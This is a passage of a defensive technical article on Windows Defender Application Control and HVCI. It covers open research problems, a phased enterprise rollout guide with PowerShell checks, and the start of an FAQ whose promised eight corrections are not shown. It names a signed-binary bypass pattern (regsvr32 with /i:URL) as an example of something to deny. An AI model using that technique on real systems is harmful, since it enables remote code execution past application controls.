WDAC + HVCI is the right answer to the wrong question -- because the right question is undecidable. Knowing that, here is what is left for the field to figure out.

9. Open Problems: Where Research Lives Today#

Five live research directions sit on the frontier of the runtime enforcement loop. Each is the next generation of one of the residuals named in section eight.

Data-only attacks against HVCI and KDP coverage. KDP closes the data-corruption gap, but only opt-in per driver -- the driver author has to call MmProtectDriverSection for static KDP, or allocate from the secure pool for dynamic KDP. Most third-party drivers do not. The open research direction is default-on KDP for drivers above a certain signature level, or compiler-emitted KDP annotations that travel with the build, or VBS-side coverage of the policy data itself rather than per-driver buy-in.

BYOVD-class drivers faster than the Block List update cadence. The Block List ships quarterly, with monthly Windows updates as the delivery mechanism; the LOLDrivers community catalogue operates as the empirical proxy for the gap. The open direction is faster telemetry-to-block pipelines, ideally moving driver decisions out of an explicit hash list and into a per-vendor reputation model that updates within hours of a public disclosure. The Microsoft Vulnerable and Malicious Driver Reporting Center is the intake side of that pipeline; the public-cadence side is still slower than the LOLDrivers community.

Signed-but-vulnerable user-mode binaries. The forty-entry bypass catalogue keeps growing as researchers find new Microsoft-signed binaries with arbitrary-code-execution surface. The open direction is a behavioural runtime profile attached to FilePublisher identity, not just the static signature -- so that, for example, "regsvr32 with /i:URL arguments" can be denied even when "regsvr32 without arguments" is allowed. Some of this lives in Defender's ASR rules today; none of it lives inside WDAC's static schema.

HVCI rollback (CVE-2024-21302 Windows Downdate). Alon Leviev's Black Hat USA 2024 disclosure used the Windows Update flow itself to downgrade HVCI's substrate to an older, vulnerable version -- "I successfully downgraded Credential Guard's Isolated User Mode Process, Secure Kernel, and Hyper-V's hypervisor to expose past privilege escalation vulnerabilities." Mitigation was completed July 8, 2025 with KB5042562. But the Windows Update takeover that delivered the downgrade remains unpatched because Microsoft does not consider admin-to-kernel a security boundary; "Gaining kernel code execution as an Administrator is not considered as crossing a security boundary." The open direction is mandatory dbx hygiene plus UEFI-locked monotonic version counters for VBS binaries.

"I was able to make a fully patched Windows machine susceptible to thousands of past vulnerabilities, turning fixed vulnerabilities into zero-days and making the term 'fully patched' meaningless on any Windows machine in the world." -- Alon Leviev, SafeBreach Labs, Black Hat USA 2024.

The post-CrowdStrike user-mode-security pivot. The July 2024 CrowdStrike Falcon outage motivated Microsoft to push EDR vendors out of the kernel and toward VBS Enclaves; Microsoft's September 2024 Windows endpoint security summit blog post is the canonical statement of intent. HVCI remains the kernel-side enforcement layer; the open question is what runtime enforcement looks like when EDR products are themselves trustlets. The cross-link to a sibling article on VBS Trustlets is the right place to follow that thread, but the practical impact on WDAC + HVCI is concrete: kernel-mode driver count is set to drop, the surface HVCI has to validate shrinks, and the cost-benefit of HVCI's silicon dependency improves for legacy fleets.

These are the questions a 2026 Microsoft Senior PM, an MSRC engineer, and a SafeBreach researcher would all answer differently. Here, by contrast, is what is not contested -- the operational discipline a 2026 administrator should follow today.

10. Practical Guide: A Phased Rollout for a 2026 Estate#

If your estate has neither HVCI nor WDAC on today, here is the four-phase rollout that gets you to the loop section five described, without bricking your fleet.

Phase 0 (week 1) -- silicon verification. Run Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard against a representative sample. Confirm that AvailableSecurityProperties includes 1 (hypervisor support), 2 (Secure Boot), and 7 (MBEC/GMET reporting in Windows 10 1803 and Windows 11 21H2 or later). Confirm that VirtualizationBasedSecurityStatus = 2 on the same sample. Endpoints that fail Phase 0 either need silicon refresh or a documented "HVCI-incapable" exception with an EDR-only compensating control.

Phase 1 (weeks 2-4) -- HVCI in audit mode + Driver Block List in enforce. Enable HVCI on a wave-1 group; Microsoft Learn documents the Windows Security app toggle and the Group Policy / Intune CSP. Deploy RecommendedDriverBlock_Enforced.xml standalone -- the policy is designed to stack alongside any other WDAC policy, including no policy. Triage incompatible drivers through the Microsoft-Windows-DeviceGuard/Operational channel and remediate vendor-by-vendor. Most enterprises lose one to three drivers per thousand endpoints in this phase; that is the design tax of moving the kernel CI check out of the kernel.

Phase 2 (weeks 5-10) -- WDAC base policy in audit mode. Author a base policy from DefaultWindows_Audit.xml using New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat. Deploy in audit. Iterate New-CIPolicy -Audit against accumulated event-3076 traffic, mint supplemental policies, redeploy. Iterate until the audit-event volume on your representative subset is near-zero. Most production rollouts skip this phase; most production rollouts also have to roll back. Don't be that rollout.

Phase 3 (weeks 11-16) -- sign and enforce. Sign the base policy (Add-SignerRule -Update, Set-RuleOption -Option 6 -Delete, ConvertFrom-CIPolicy, signtool.exe). Validate the signed policy on a wave-1 subset before fleet rollout. Then deploy in enforced mode. Enable the Defender ASR rule 56a863a9-875e-4185-98a7-b882c64b5ce5 at the Defender for Endpoint policy layer. Integrate the CodeIntegrity-Operational channel into your SIEM via Defender for Endpoint advanced hunting -- the DeviceEvents table is your join point.

Phase 4 (ongoing) -- continuous tuning. Quarterly: refresh the Driver Block List policy; review ISG verdicts (if rule option 14 is on); re-evaluate the LOLBIN bypass list against your signed-by-Microsoft inventory; check the LOLDrivers community catalogue for new vulnerable drivers your environment ships.

The "do not do" list is short and cheap. Do not deploy a signed policy without first validating the unsigned variant -- the VersionEx boot failure is the single most common production casualty. Do not rely on AppLocker as your primary control on Windows 10 or 11; Microsoft's own AppLocker overview disqualifies the feature as a security boundary. Do not turn HVCI off to "fix" driver compatibility -- patch the driver, replace the vendor, or document an exception with a sunset date.

Get-CimInstance -ClassName Win32_DeviceGuard `
  -Namespace root\Microsoft\Windows\DeviceGuard |
  Select-Object AvailableSecurityProperties,
                VirtualizationBasedSecurityStatus,
                SecurityServicesRunning,
                CodeIntegrityPolicyEnforcementStatus

After Phase 3, the loop section five described is running on every endpoint in your estate. After Phase 4, you are participating in the loop's continuous evolution. The remaining question is whether your understanding of the loop survives contact with the misconceptions every administrator brings to it.

11. FAQ: The Misconceptions This Article Closes#

Eight misconceptions surface in nearly every WDAC + HVCI conversation. Here are the corrections, in priority order.

A bag of bytes is not its identity. Where it sits is not its identity. Even who signed it is not its identity. Identity is a runtime decision made by code that itself cannot be tampered with -- and the only way to make that code tamper-resistant is to host it underneath the operating system the attacker has compromised.

That sentence is what every generation since SRP 2001 has been re-learning at a different layer. WDAC + HVCI is the layer Microsoft is willing to service like a security boundary. The next layer is whatever attack class research publishes in 2027.

---WRITER METRICS---
Word count: 11497
Citations: 131
Mermaid diagrams: 7
Definitions: 13
Sidenotes: 8
FAQ questions: 8
---END WRITER METRICS---